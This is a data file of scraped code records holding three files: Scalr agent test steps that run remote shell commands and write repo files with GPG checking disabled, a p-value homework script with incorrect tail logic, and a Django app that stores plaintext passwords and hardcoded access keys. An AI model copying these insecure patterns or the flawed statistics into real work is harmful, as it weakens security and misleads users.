http://buildbot.scalr-labs.com/apt/debian %s/\\n' % branch)\n elif 'centos' in node.os[0].lower():\n LOG.info('Change repo in CentOS')\n node.put_file('/etc/yum.repos.d/scalr-stable.repo',\n '[scalr-branch]\\n' +\n 'name=scalr-branch\\n' +\n 'baseurl=http://buildbot.scalr-labs.com/rpm/%s/rhel/$releasever/$basearch\\n' % branch +\n 'enabled=1\\n' +\n 'gpgcheck=0\\n' +\n 'protect=1\\n')\n\n\n@step('pin([ \\w]+)? repo in ([\\w\\d]+)$')\ndef pin_repo(step, repo, serv_as):\n server = getattr(world, serv_as)\n node = world.cloud.get_node(server)\n if repo and repo.strip() == 'system':\n branch = CONF.feature.branch.replace('/', '-').replace('.', '').strip()\n else:\n branch = os.environ.get('RV_TO_BRANCH', 'master').replace('/', '-').replace('.', '').strip()\n if 'ubuntu' in node.os[0].lower():\n LOG.info('Pin repository for branch %s in Ubuntu' % branch)\n node.put_file('/etc/apt/preferences',\n 'Package: *\\n' +\n 'Pin: release a=%s\\n' % branch +\n 'Pin-Priority: 990\\n')\n elif 'centos' in node.os[0].lower():\n LOG.info('Pin repository for branch %s in CentOS' % repo)\n node.run('yum install yum-protectbase -y')\n\n\n@step('update scalarizr in ([\\w\\d]+)$')\ndef update_scalarizr(step, serv_as):\n server = getattr(world, serv_as)\n node = world.cloud.get_node(server)\n if 'ubuntu' in node.os[0].lower():\n LOG.info('Update scalarizr in Ubuntu')\n node.run('apt-get update')\n node.run('apt-get install scalarizr-base scalarizr-%s -y' % CONF.feature.driver.scalr_cloud)\n elif 'centos' in node.os[0].lower():\n LOG.info('Update scalarizr in CentOS')\n node.run('yum install scalarizr-base scalarizr-%s -y' % CONF.feature.driver.scalr_cloud)\n\n\n\n@step('process ([\\w-]+) is running in ([\\w\\d]+)$')\ndef check_process(step, process, serv_as):\n LOG.info(\"Check running process %s on server\" % process)\n server = getattr(world, serv_as)\n node = world.cloud.get_node(server)\n list_proc = node.run('ps aux | grep %s' % process)[0]\n for p in list_proc.splitlines():\n if not 'grep' in p and process in p:\n return True\n raise AssertionError(\"Process %s is not running in server %s\" % (process, server.id))\n\n\n@step(r'(\\d+) port is( not)? listen on ([\\w\\d]+)')\ndef verify_port_status(step, port, closed, serv_as):\n server = getattr(world, serv_as)\n if port.isdigit():\n port = int(port)\n else:\n port = SERVICES_PORTS_MAP[port]\n if isinstance(port, collections.Iterable):\n port = port[0]\n closed = True if closed else False\n LOG.info('Verify port %s is %s on server %s' % (\n port, 'closed' if closed else 'open', server.id\n ))\n node = world.cloud.get_node(server)\n if not CONF.feature.dist.startswith('win'):\n world.set_iptables_rule(server, port)\n if CONF.feature.driver.cloud_family == Platform.CLOUDSTACK:\n port = world.cloud.open_port(node, port, ip=server.public_ip)\n\n results = []\n for attempt in range(3):\n results.append(world.check_open_port(server, port))\n time.sleep(5)\n\n if closed and results[-1]:\n raise AssertionError('Port %s is open on server %s (attempts: %s)' % (port, server.id, results))\n elif not closed and not results[-1]:\n raise AssertionError('Port %s is closed on server %s (attempts: %s)' % (port, server.id, results))\n\n\n@step(r'([\\w-]+) is( not)? running on (.+)')\ndef assert_check_service(step, service, closed, serv_as):\n server = getattr(world, serv_as)\n port = SERVICES_PORTS_MAP[service]\n if isinstance(port, collections.Iterable):\n port = port[0]\n closed = True if closed else False\n LOG.info('Verify port %s is %s on server %s' % (\n port, 'closed' if closed else 'open', server.id\n ))\n if service == 'scalarizr' and CONF.feature.dist.startswith('win'):\n try:\n status = server.upd_api.status()['service_status']\n except ServiceError:\n status = server.upd_api_old.status()['service_status']\n if not status == 'running':\n raise AssertionError('Scalarizr is not running in windows, status: %s' % status)\n return\n node = world.cloud.get_node(server)\n if not CONF.feature.dist.startswith('win'):\n world.set_iptables_rule(server, port)\n if CONF.feature.driver.cloud_family == Platform.CLOUDSTACK:\n #TODO: Change login on this behavior\n port = world.cloud.open_port(node, port, ip=server.public_ip)\n if service in BEHAVIORS_ALIASES.values():\n behavior = [x[0] for x in BEHAVIORS_ALIASES.items() if service in x][0]\n else:\n behavior = service\n check_result = VerifyProcessWork.verify(server, behavior, port)\n if closed and check_result:\n raise AssertionError(\"Service %s must be don't work but it work!\" % service)\n if not closed and not check_result:\n raise AssertionError(\"Service %s must be work but it doesn't work! (results: %s)\" % (service, check_result))\n\n\n@step(r'I (\\w+) service ([\\w\\d]+) in ([\\w\\d]+)')\ndef service_control(step, action, service, serv_as):\n LOG.info(\"%s service %s\" % (action.title(), service))\n server = getattr(world, serv_as)\n node = world.cloud.get_node(server)\n node.run('/etc/init.d/%s %s' % (service, action))\n\n\n@step(r'scalarizr debug log in ([\\w\\d]+) contains \\'(.+)\\'')\ndef find_string_in_debug_log(step, serv_as, string):\n server = getattr(world, serv_as)\n node = world.cloud.get_node(server)\n out = node.run('grep \"%s\" /var/log/scalarizr_debug.log' % string)\n if not string in out[0]:\n raise AssertionError('String \"%s\" not found in scalarizr_debug.log. Grep result: %s' % (string, out))\n\n\n@step('scalarizr version from (\\w+) repo is last in (.+)$')\n@world.passed_by_version_scalarizr('2.5.14')\ndef assert_scalarizr_version(step, repo, serv_as):\n \"\"\"\n Argument repo can be system or role.\n System repo - CONF.feature.branch\n Role repo - CONF.feature.to_branch\n \"\"\"\n if repo == 'system':\n repo = CONF.feature.branch\n elif repo == 'role':\n repo = CONF.feature.to_branch\n server = getattr(world, serv_as)\n if consts.Dist.is_centos_family(server.role.dist):\n repo_data = parse_rpm_repository(repo)\n elif consts.Dist.is_debian_family(server.role.dist):\n repo_data = parse_apt_repository(repo)\n versions = [package['version'] for package in repo_data if package['name'] == 'scalarizr']\n versions.sort()\n LOG.info('Scalarizr versions in repository %s: %s' % (repo, versions))\n try:\n server_info = server.upd_api.status(cached=False)\n except Exception:\n server_info = server.upd_api_old.status()\n LOG.debug('Server %s status: %s' % (server.id, server_info))\n # if not repo == server_info['repository']:\n # raise AssertionError('Scalarizr installed on server from different repo (%s) must %s'\n # % (server_info['repository'], repo))\n if not versions[-1] == server_info['installed']:\n raise AssertionError('Installed scalarizr version is not last! Installed %s, last: %s'\n % (server_info['installed'], versions[-1]))\n\n\n@step('scalarizr version is last in (.+)$')\ndef assert_scalarizr_version(step, serv_as):\n server = getattr(world, serv_as)\n node = world.cloud.get_node(server)\n installed_version = None\n candidate_version = None\n if 'ubuntu' in server.role.os.lower():\n LOG.info('Check ubuntu installed scalarizr')\n out = node.run('apt-cache policy scalarizr-base')\n LOG.debug('Installed information: %s' % out[0])\n for line in out[0].splitlines():\n if line.strip().startswith('Installed'):\n installed_version = line.split()[-1].split('-')[0].split('.')[-1]\n LOG.info('Installed version: %s' % installed_version)\n elif line.strip().startswith('Candidate'):\n candidate_version = line.split()[-1].split('-')[0].split('.')[-1]\n LOG.info('Candidate version: %s' % candidate_version)\n elif ('centos' or 'redhat') in server.role.os.lower():\n LOG.info('Check ubuntu installed scalarizr')\n out = node.run('yum list --showduplicates scalarizr-base')\n LOG.debug('Installed information: %s' % out[0])\n for line in out[0]:\n if line.strip().endswith('installed'):\n installed_version = [word for word in line.split() if word.strip()][1].split('-')[0].split('.')[-1]\n LOG.info('Installed version: %s' % installed_version)\n elif line.strip().startswith('scalarizr-base'):\n candidate_version = [word for word in line.split() if word.strip()][1].split('-')[0].split('.')[-1]\n LOG.info('Candidate version: %s' % candidate_version)\n if candidate_version and not installed_version == candidate_version:\n raise AssertionError('Installed scalarizr is not last! Installed: %s, '\n 'candidate: %s' % (installed_version, candidate_version))\n\n\n@step('I reboot scalarizr in (.+)$')\ndef reboot_scalarizr(step, serv_as):\n server = getattr(world, serv_as)\n node = world.cloud.get_node(server)\n node.run('/etc/init.d/scalarizr restart')\n LOG.info('Scalarizr restart complete')\n time.sleep(15)\n\n\n@step(\"see 'Scalarizr terminated' in ([\\w]+) log\")\ndef check_log(step, serv_as):\n server = getattr(world, serv_as)\n node = world.cloud.get_node(server)\n LOG.info('Check scalarizr log for termination')\n wait_until(world.check_text_in_scalarizr_log, timeout=300, args=(node, \"Scalarizr terminated\"),\n error_text='Not see \"Scalarizr terminated\" in debug log')\n\n\n@step('I ([\\w\\d]+) service ([\\w\\d]+)(?: and ([\\w]+) has been changed)? on ([\\w\\d]+)(?: by ([\\w]+))?')\ndef change_service_status(step, status_as, behavior, is_change_pid, serv_as, is_api):\n \"\"\"Change process status on remote host by his name. \"\"\"\n\n #Init params\n service = {'node': None}\n server = getattr(world, serv_as)\n is_api = True if is_api else False\n is_change_pid = True if is_change_pid else False\n node = world.cloud.get_node(server)\n\n #Checking the behavior in the role\n if not behavior in server.role.behaviors and behavior != 'scalarizr':\n raise AssertionError(\"{0} can not be found in the tested role.\".format(behavior))\n\n #Get behavior configs\n common_config = DEFAULT_SERVICES_CONFIG.get(behavior)\n #Get service name & status\n if common_config:\n status = common_config['api_endpoint']['service_methods'].get(status_as) if is_api else status_as\n service.update({'node': common_config.get('service_name')})\n if not service['node']:\n service.update({'node': common_config.get(consts.Dist.get_os_family(node.os[0])).get('service_name')})\n if is_api:\n service.update({'api': common_config['api_endpoint'].get('name')})\n if not service['api']:\n raise AssertionError(\"Can't {0} service. \"\n \"The api endpoint name is not found by the bahavior name {1}\".format(status_as, behavior))\n if not status:\n raise AssertionError(\"Can't {0} service. \"\n \"The api call is not found for {1}\".format(status_as, service['node']))\n if not service['node']:\n raise AssertionError(\"Can't {0} service. \"\n \"The process name is not found by the bahavior name {1}\".format(status_as, behavior))\n LOG.info(\"Change service status: {0} {1} {2}\".format(service['node'], status, 'by api call' if is_api else ''))\n\n #Change service status, get pids before and after\n res = world.change_service_status(server, service, status, use_api=is_api, change_pid=is_change_pid)\n\n #Verify change status\n if any(pid in res['pid_before'] for pid in res['pid_after']):\n LOG.error('Service change status info: {0} Service change status error: {1}'.format(res['info'][0], res['info'][1])\n if not is_api\n else 'Status of the process has not changed, pid have not changed. pib before: %s pid after: %s' % (res['pid_before'], res['pid_after']))\n raise AssertionError(\"Can't {0} service. No such process {1}\".format(status_as, service['node']))\n\n LOG.info('Service change status info: {0}'.format(res['info'][0] if not is_api\n else '%s.%s() complete successfully' % (service['api'], status)))\n LOG.info(\"Service status was successfully changed : {0} {1} {2}\".format(service['node'], status_as,\n 'by api call' if is_api else ''))\n\n\n@step('I know ([\\w]+) storages$')\ndef get_ebs_for_instance(step, serv_as):\n \"\"\"Give EBS storages for server\"\"\"\n #TODO: Add support for all platform with persistent disks\n server = getattr(world, serv_as)\n volumes = server.get_volumes()\n LOG.debug('Volumes for server %s is: %s' % (server.id, volumes))\n if CONF.feature.driver.current_cloud == Platform.EC2:\n storages = filter(lambda x: 'sda' not in x.extra['device'], volumes)\n elif CONF.feature.driver.current_cloud in [Platform.IDCF, Platform.CLOUDSTACK]:\n storages = filter(lambda x: x.extra['type'] == 'DATADISK', volumes)\n else:\n return\n LOG.info('Storages for server %s is: %s' % (server.id, storages))\n if not storages:\n raise AssertionError('Server %s not have storages (%s)' % (server.id, storages))\n setattr(world, '%s_storages' % serv_as, storages)\n\n\n@step('([\\w]+) storage is (.+)$')\ndef check_ebs_status(step, serv_as, status):\n \"\"\"Check EBS storage status\"\"\"\n if CONF.feature.driver.current_cloud == Platform.GCE:\n return\n time.sleep(30)\n server = getattr(world, serv_as)\n wait_until(world.check_server_storage, args=(serv_as, status), timeout=300, error_text='Volume from server %s is not %s' % (server.id, status))\n\n\n@step('change branch in server ([\\w\\d]+) in sources to ([\\w\\d]+)')\ndef change_branch_in_sources(step, serv_as, branch):\n if 'system' in branch:\n branch = CONF.feature.branch\n elif not branch.strip():\n branch = CONF.feature.to_branch\n else:\n branch = branch.replace('/', '-').replace('.', '').strip()\n server = getattr(world, serv_as)\n LOG.info('Change branches in sources list in server %s to %s' % (server.id, branch))\n if Dist.is_debian_family(server.role.dist):\n LOG.debug('Change in debian')\n node = world.cloud.get_node(server)\n for repo_file in ['/etc/apt/sources.list.d/scalr-stable.list', '/etc/apt/sources.list.d/scalr-latest.list']:\n LOG.info(\"Change branch in %s to %s\" % (repo_file, branch))\n node.run('echo \"deb http://buildbot.scalr-labs.com/apt/debian %s/\" > %s' % (branch, repo_file))\n elif Dist.is_centos_family(server.role.dist):\n LOG.debug('Change in centos')\n node = world.cloud.get_node(server)\n for repo_file in ['/etc/yum.repos.d/scalr-stable.repo']:\n LOG.info(\"Change branch in %s to %s\" % (repo_file, branch))\n node.run('echo \"[scalr-branch]\\nname=scalr-branch\\nbaseurl=http://buildbot.scalr-labs.com/rpm/%s/rhel/\\$releasever/\\$basearch\\nenabled=1\\ngpgcheck=0\" > %s' % (branch, repo_file))\n node.run('echo > /etc/yum.repos.d/scalr-latest.repo')\n elif Dist.is_windows_family(server.role.dist):\n # LOG.debug('Change in windows')\n import winrm\n console = winrm.Session('http://%s:5985/wsman' % server.public_ip,\n auth=(\"Administrator\", server.windows_password))\n for repo_file in ['C:\\Program Files\\Scalarizr\\etc\\scalr-latest.winrepo',\n 'C:\\Program Files\\Scalarizr\\etc\\scalr-stable.winrepo']:\n # LOG.info(\"Change branch in %s to %s\" % (repo_file, branch))\n console.run_cmd('echo http://buildbot.scalr-labs.com/win/%s/x86_64/ > \"%s\"' % (branch, repo_file))","sub_path":"functional/terrain/node_terrain.py","file_name":"node_terrain.py","file_ext":"py","file_size_in_byte":20515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"641396195","text":"\"\"\"\n# p-value\n: 가설을 바라보는 관점\n: 어떤 확률값을 기준으로 구간을 선택하는 대신에 \n H0가 참이라고 가정하고 실제로 관측된 값보다 더 극단적인 값이 나올 확률을 구하는 것 \n\"\"\"\nimport math\nfrom typing import Tuple\n\ndef normal_approximation_to_binomial(n : int, p: float) -> Tuple[float, float]:\n \"\"\"Binomial(n, p)에 해당되는 mu(평균)와 sigma(표준편차) 계산\"\"\"\n mu = p * n\n sigma = math.sqrt(p * (1 - p) * n)\n return mu, sigma\n\n# 표준정규분포( standard normal distribution )\ndef normal_cdf(x: float, mu: float =0 , sigma: float =1) -> float:\n return (1 + math.erf((x-mu) / math.sqrt(2) / sigma)) /2\n\n# 누적 분포 함수는 확률변수가 특정 값보다 작을 확률을 나타낸다.\nnormal_probability_below = normal_cdf\n\n# 만약 확률변수가 특정 값보다 작지 않다면, 특정 값보다 크다는 겂을 의미한다.\ndef normal_probability_above(lo: float,\n mu : float = 0,\n sigma: float = 1 ) -> float:\n \"\"\"mu(평균)와 sigma(표준편차)를 따르는 정규분포가 lo보다 클 확률\"\"\"\n return 1 - normal_cdf(lo, mu, sigma)\n\nmu_0, sigma_0 = normal_approximation_to_binomial(1000, 0.5)\n\n\n#-----------------------------------------------------------------------\n\n\ndef two_sided_p_value(x: float, mu: float =0 , sigma: float =1) -> float:\n \"\"\"\n mu(평균값)와 sigma(표준편차)를 따르는 정규분포에서 x같이\n 극단적인 값이 나올 확률은 얼마나 될까\n \"\"\"\n if x >= mu:\n # 만약 x 가 평균보다 크다면 x 보다 큰 부분이 꼬리다.\n return 2 * normal_probability_above(x, mu, sigma)\n else:\n # 만약 x 가 평균보다 작다면 x 보다 작은 부분이 꼬리다.\n return 2 * normal_probability_above(x, mu, sigma)\n\n\ntwo_sided_p_value(529.5, mu_0, sigma_0) # 0.062\n\n\n\n# 시뮬레이션\nimport random\n\nextreme_value_count = 0\nfor _ in range(1000):\n num_heads = sum(1 if random.random() < 0.5 else 0 # 앞면이 나온 경우를 세어 본다.\n for _ in range(1000)) # 동전을 1000번 던져서\n if num_heads >= 530 or num_heads <= 470:\n extreme_value_count += 1 # 몇 번 나오는지 세어 본다.\n\n\n# p-value was 0.062 => ~ 63 evtreme values out of 1000\nassert 59 < extreme_value_count < 65 , f\"{extreme_value_count}\" \n# 계산된 p-value가 5%가 크기 떄문에 귀무가설을 기각하지 않는다.\n\n\nprint(two_sided_p_value(531.5, mu_0, sigma_0)) # 0.0463\n\n\nupper_p_value = normal_probability_above\nlower_p_value = normal_probability_below\n\n# 동전 앞면이 525번 나왔다면 단측검정의 위한 p-value\nprint(upper_p_value(524.5, mu_0, sigma_0)) # 0.0606\n\n# 동전 앞면이 527번 나왔다면 단측검정의 위한 p-value (귀무가설 기각)\nprint(upper_p_value(524.5, mu_0, sigma_0)) # 0.0047","sub_path":"homework/데이터 과학/p101_p-value.py","file_name":"p101_p-value.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"315156344","text":"from django.shortcuts import render, redirect, HttpResponse\nfrom django.contrib import messages\n\n\nfrom .forms import AlunoForm\nfrom .forms import FormAluno\n\nfrom .forms import ProfessorForm\nfrom .forms import PerguntaForm\nfrom .forms import RespostaForm\nfrom .forms import QuestionarioForm\nfrom .forms import EgoForm\n\n\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib import messages\n\nfrom .entidades.pergunta import pergunta\nfrom .entidades import aluno\nfrom .entidades.professor import professor\n\n\nfrom .services import pergunta_service\nfrom .services import professor_service\nfrom .services import aluno_service\nfrom .services import questionario_service\nfrom .services import resposta_service\nfrom .services import ego_service\n\n\nfrom .models import Resposta\nfrom .models import Professor\nfrom .models import Questionario\nfrom .models import Ego\n\n\nimport datetime \nfrom datetime import timedelta\nfrom sys import stdout\nfrom time import sleep\n\n# Create your views here.\n\n\nquantidade_Preguntas = 50\n\ndef painelAdm(request):\n return render(request, 'PainelADM/index.html')\n\n\ndef login_Aluno(request):\n form_aluno = AlunoForm()\n\n if request.method == 'POST':\n email = request.POST[\"email\"]\n\n senha = request.POST[\"senha\"]\n validar = aluno_service.verificar_email_login(email, senha)\n\n if validar == False:\n form_aluno = AlunoForm()\n erro = \"Erro na senha ou vocẽ não esta cadastrado\"\n return render(request, 'Aluno/login_aluno.html', {\"form_aluno\": form_aluno, \"erro\": erro})\n else:\n nome_Teste = aluno_service.verificar_id_email(email, senha)\n validacao = \"True\"\n return render(request, 'Testes/listar_teste.html', {\"nome_Teste\": nome_Teste, \"validacao\": validacao})\n else:\n form_aluno = AlunoForm()\n return render(request, 'Aluno/login_aluno.html', {\"form_aluno\": form_aluno})\n\n\n\ndef editar_aluno(request,id):\n\n aluno_antigo = aluno_service.listar_aluno_id(id)\n Dados_aluno = aluno_service.listar_aluno_id(id)\n form_aluno = FormAluno(request.POST or None, instance = aluno_antigo)\n validacao = \"True\"\n if form_aluno.is_valid():\n nome = form_aluno.cleaned_data[\"nome\"]\n data_nascimento = form_aluno.cleaned_data[\"data_nascimento\"]\n senha = form_aluno.cleaned_data[\"senha\"]\n confirmarSenha = form_aluno.cleaned_data[\"confirmarSenha\"] \n if senha == confirmarSenha:\n aluno_novo = aluno.Aluno(nome = nome , email = aluno_antigo.email ,data_nascimento = data_nascimento,senha = senha, confirmarSenha= confirmarSenha, professor = aluno_antigo.professor)\n aluno_service.editar_dadosAluno(aluno_antigo,aluno_novo)\n return render(request, 'Testes/listar_teste.html', {\"nome_Teste\": aluno_antigo, \"validacao\": validacao})\n else:\n erro = 'senhas diferentes'\n\n return render(request, 'Aluno/editar.html', {\"aluno\": form_aluno, \"erro\": erro})\n \n \n return render(request, 'Aluno/editar.html', {\"aluno\": form_aluno, \"validacao\": validacao,\"Aluno\":Dados_aluno})\n\n\ndef tela_inicial(request):\n return render(request, 'index.html')\n\n\ndef listar_testes(request, id):\n nome_Teste = aluno_service.listar_aluno_id(id)\n validacao = \"True\"\n mensagem = \"Voce já fez este teste\"\n return render(request, 'Testes/listar_teste.html', {\"nome_Teste\": nome_Teste, \"validacao\": validacao, \"mensagem\": mensagem})\n\n\ndef listar_analises(request, id):\n professor = professor_service.listar_professor_id(id)\n validacao = \"True\"\n return render(request, 'Testes/listar_analises.html', {\"professor\": professor, \"validacao\": validacao})\n\n\ndef cadastrar_aluno(request):\n if request.method == \"POST\":\n form_aluno = AlunoForm(request.POST)\n chave = request.POST[\"chave\"]\n termo = request.POST.get('termos', False)\n print(\"termo\", termo)\n print(\"chave\", chave)\n if termo == False:\n mensagem = \" Aceite o termo de uso e politica de privacidade para poder se cadastrar\"\n return render(request, 'Aluno/cadastrar_aluno.html', {\"form_aluno\": form_aluno, \"mensagem\": mensagem})\n else:\n if chave == \"10M1910\":\n if form_aluno.is_valid():\n\n nome = form_aluno.cleaned_data[\"nome\"]\n data_nascimento = form_aluno.cleaned_data[\"data_nascimento\"]\n email = form_aluno.cleaned_data[\"email\"]\n senha = form_aluno.cleaned_data[\"senha\"]\n confirmarSenha = form_aluno.cleaned_data[\"confirmarSenha\"]\n professor = form_aluno.cleaned_data[\"professor\"]\n\n EmailExistente = aluno_service.verificar_email(email)\n print(\"existe email\", EmailExistente)\n\n if EmailExistente == False:\n if senha == confirmarSenha:\n aluno_novo = aluno.Aluno(\n nome=nome, data_nascimento=data_nascimento, email=email, senha=senha, confirmarSenha=confirmarSenha, professor=professor)\n aluno_service.cadastrar_aluno(aluno_novo)\n return redirect('/loginAluno')\n else:\n erro = 'senhas diferentes'\n return render(request, 'Aluno/cadastrar_aluno.html', {\"form_aluno\": form_aluno}, {\"erro\": erro})\n else:\n print(\"email existente\")\n form_aluno = AlunoForm()\n Erroemail = \"Já existe esse email\"\n return render(request, 'Aluno/cadastrar_aluno.html', {\"form_aluno\": form_aluno, \"Erroemail\": Erroemail})\n else:\n mensagem = \"Esta não é a chave de acesso correta\"\n return render(request, 'Aluno/cadastrar_aluno.html', {\"form_aluno\": form_aluno, \"mensagem\": mensagem})\n\n else:\n form_aluno = AlunoForm()\n return render(request, 'Aluno/cadastrar_aluno.html', {\"form_aluno\": form_aluno})\n\n\ndef cadastrar_professor(request):\n\n if request.method == \"POST\":\n form_professor = ProfessorForm(request.POST)\n chave = request.POST[\"chave\"]\n if chave == \"EricBerne\":\n if form_professor.is_valid():\n nome = form_professor.cleaned_data[\"nome\"]\n senha = form_professor.cleaned_data[\"senha\"]\n confirmarSenha = form_professor.cleaned_data[\"confirmarSenha\"]\n Professor.objects.create(\n nome=nome, senha=senha, confirmarSenha=confirmarSenha)\n return redirect('/login_professor/')\n else:\n mensagem = \"Esta não é a chave de acesso correta\"\n return render(request, 'Professor/form_professor.html', {\"form_professor\": form_professor, \"mensagem\": mensagem})\n else:\n form_professor = ProfessorForm()\n return render(request, 'Professor/form_professor.html', {\"form_professor\": form_professor})\n\n\ndef login_professor(request):\n form_professor = ProfessorForm()\n if request.method == \"POST\":\n nome = request.POST[\"nome\"]\n senha = request.POST[\"senha\"]\n validar = professor_service.verificar_professor(nome, senha)\n if validar == False:\n erro = \"Erro na senha ou vocẽ não esta cadastrado\"\n return render(request, 'Professor/login_professor.html', {\"form_professor\": form_professor, \"erro\": erro})\n else:\n professor = professor_service.verificar_id(nome, senha)\n validacao = \"True\"\n return render(request, 'Testes/listar_analises.html', {\"professor\": professor, \"validacao\": validacao})\n else:\n form_professor = ProfessorForm()\n return render(request, 'Professor/login_professor.html', {\"form_professor\": form_professor})\n\n\ndef cadastrar_usuario(request):\n if request.method == 'POST':\n form_usuario = UserCreationForm(request.POST)\n if form_usuario.is_valid():\n form_usuario.save()\n return redirect('/listar_tarefas')\n else:\n form_usuario = UserCreationForm()\n return render(request, 'Usuario/form_usuario.html', {\"form_usuario\": form_usuario})\n\n\ndef login_usuario(request):\n if request.method == 'POST':\n username = request.POST[\"username\"]\n password = request.POST[\"password\"]\n\n usuario = authenticate(request, username=username, password=password)\n if usuario is not None:\n login(request, usuario)\n return redirect('/listar_teste')\n else:\n messages.error(request, 'Vocẽ digitou algo de errado')\n return redirect('/login_usuario')\n else:\n form_login = AuthenticationForm()\n return render(request, 'Usuario/login_usuario.html', {\"form_login\": form_login})\n\n\ndef deslogar(request):\n logout(request)\n return redirect('/login_usuario')\n\n\ndef inserir_pergunta(request):\n\n perguntaForm = PerguntaForm()\n perguntaTabela = pergunta_service.listar_perguntas()\n\n context = {\n 'perguntaTabela': perguntaTabela,\n 'perguntaForm': PerguntaForm,\n }\n\n if request.method == \"POST\":\n perguntaForm = PerguntaForm(request.POST)\n if perguntaForm.is_valid():\n pergunt = perguntaForm.cleaned_data[\"pergunta\"]\n tipo = perguntaForm.cleaned_data[\"tipo\"]\n pergunta_nova = pergunta(pergunta=pergunt, tipo=tipo)\n pergunta_service.cadastrar_Pergunta(pergunta_nova)\n return render(request, 'Testes/form_pergunta.html', context)\n else:\n perguntaForm = PerguntaForm()\n return render(request, 'Testes/form_pergunta.html', context)\n\n\ndef listar_perguntas(request, id, numero, validacao):\n\n questionario = QuestionarioForm()\n ultimaQuestao = questionario_service.maior_numero(id)\n dataDoTeste = ego_service.VerificarData(id)\n \n print(\"numero maior\", ultimaQuestao)\n if ultimaQuestao > numero:\n numero = ultimaQuestao + 1\n if numero > quantidade_Preguntas:\n nome_Teste = aluno_service.listar_aluno_id(id)\n validacao = \"True\"\n mensagem = \"Voce já fez este teste\"\n return render(request, 'Testes/listar_teste.html', {\"nome_Teste\": nome_Teste, \"validacao\": validacao, \"mensagem\": mensagem})\n\n if request.method == 'POST':\n numero = request.POST[\"numero\"]\n resposta = request.POST[\"novidades\"]\n\n aluno = aluno_service.listar_aluno_id(id)\n pergunta = pergunta_service.listar_pergunta_id(numero)\n resposta = resposta_service.listar_resposta_id(resposta)\n Questionario.objects.create(\n pergunta=pergunta, aluno=aluno, resposta=resposta)\n print(\"opção escolhida\", resposta)\n numero = int(numero) + 1\n if int(numero) <= quantidade_Preguntas:\n print(\"numero somado\", numero)\n pergunt = pergunta_service.listar_pergunta_id(numero)\n respostas = resposta_service.listar_respostas()\n else:\n adulto, criancaLivre, paiCritico, paiNutritivo, criancaSubmissa = questionario_service.verificar_ego(\n id, quantidade_Preguntas)\n print(\"adulto views\", adulto)\n print(\"criancaLivre views\", criancaLivre)\n print(\"pai Critico views\", paiCritico)\n print(\"pai Nutritivo views\", paiNutritivo)\n print(\"Crianca Submissa views\", criancaSubmissa)\n\n ad = adulto\n criLivre = criancaLivre\n pCritico = paiCritico\n pNutritivo = paiNutritivo\n criSubmissa = criancaSubmissa\n\n prim, seg, terc, quart, quint = ordenacao(\n ad, criLivre, pCritico, pNutritivo, criSubmissa)\n\n print(\"prim\", prim)\n print(\"seg\", seg)\n print(\"terc\", terc)\n print(\"quart\", quart)\n print(\"quint\", quint)\n\n # data = datetime.datetime.now()\n data = datetime.date.today()\n print(\"------------data-------\", data)\n\n id_aluno = aluno_service.listar_aluno_id(id)\n Ego.objects.create(id_aluno=id_aluno, aluno=id_aluno, data=data, primeiro=prim,\n segundo=seg, terceiro=terc, quarto=quart, quinto=quint)\n\n resultadoTeste = Ego_adulto(adulto)\n resultadoTesteCriancaLivre = Ego_criancaLivre(criancaLivre)\n resultadoTestePaiCritico = Ego_paiCritico(paiCritico)\n resultadoTestePaiNutritivo = Ego_paiNutritivo(paiNutritivo)\n resultadoTesteCriancaSubmissa = Ego_criancaSubmissa(\n criancaSubmissa)\n nome_Teste = aluno_service.listar_aluno_id(id)\n \n return render(request, 'Testes/resultado_Ego.html/', {\"nome_Teste\": nome_Teste,\"resultadoTeste\": resultadoTeste, \"resultadoTesteCrianca\": resultadoTesteCriancaLivre, \"resultadoTestePaiCritico\": resultadoTestePaiCritico, \"resultadoTestePaiNutritivo\": resultadoTestePaiNutritivo, \"resultadoTesteCriancaSubmissa\": resultadoTesteCriancaSubmissa, \"id\": id, \"adulto\": ad, \"criancaLivre\": criLivre, \"criancaSubmissa\": criSubmissa, \"paiNutritivo\": pNutritivo, \"paiCritico\": pCritico})\n\n pergunt = pergunta_service.listar_pergunta_id(numero)\n\n nome_Teste = aluno_service.listar_aluno_id(id)\n respostas = resposta_service.listar_respostas()\n return render(request, 'Testes/teste_ego.html/', {\"nome_Teste\": nome_Teste,\"perguntas\": pergunt, \"questionario\": questionario, \"respostas\": respostas, \"id\": id, \"numero_pergunta\": numero, \"validacao\": validacao})\n\n\ndef ordenacao(ad, criLivre, pCritico, pNutritivo, criSubmissa):\n\n teste = [\"v\", \"v\", \"v\", \"v\", \"v\"]\n ego = [\"AD\", \"CL\", \"PC\", \"PN\", \"CS\"]\n lista = [ad, criLivre, pCritico, pNutritivo, criSubmissa]\n posicao = [ad, criLivre, pCritico, pNutritivo, criSubmissa]\n posicao.sort()\n quinto = posicao[0]\n quarto = posicao[1]\n terceiro = posicao[2]\n segundo = posicao[3]\n primeiro = posicao[4]\n\n if primeiro == ad:\n primeiro = \"AD\"\n else:\n if primeiro == criLivre:\n primeiro = \"CL\"\n else:\n if primeiro == pCritico:\n primeiro = \"PC\"\n else:\n if primeiro == pNutritivo:\n primeiro = \"PN\"\n else:\n if primeiro == criSubmissa:\n primeiro = \"CS\"\n\n print(\"-----primeiro----\", primeiro)\n\n if segundo == ad:\n segundo = \"AD\"\n else:\n if segundo == criLivre:\n segundo = \"CL\"\n else:\n if segundo == pCritico:\n segundo = \"PC\"\n else:\n if segundo == pNutritivo:\n segundo = \"PN\"\n else:\n if segundo == criSubmissa:\n segundo = \"CS\"\n\n print(\"-----segundo----\", segundo)\n\n if terceiro == ad:\n terceiro = \"AD\"\n else:\n if terceiro == criLivre:\n terceiro = \"CL\"\n else:\n if terceiro == pCritico:\n terceiro = \"PC\"\n else:\n if terceiro == pNutritivo:\n terceiro = \"PN\"\n else:\n if terceiro == criSubmissa:\n terceiro = \"CS\"\n\n print(\"-----terceiro----\", terceiro)\n\n if quarto == ad:\n quarto = \"AD\"\n else:\n if quarto == criLivre:\n quarto = \"CL\"\n else:\n if quarto == pCritico:\n quarto = \"PC\"\n else:\n if quarto == pNutritivo:\n quarto = \"PN\"\n else:\n if quarto == criSubmissa:\n quarto = \"CS\"\n\n 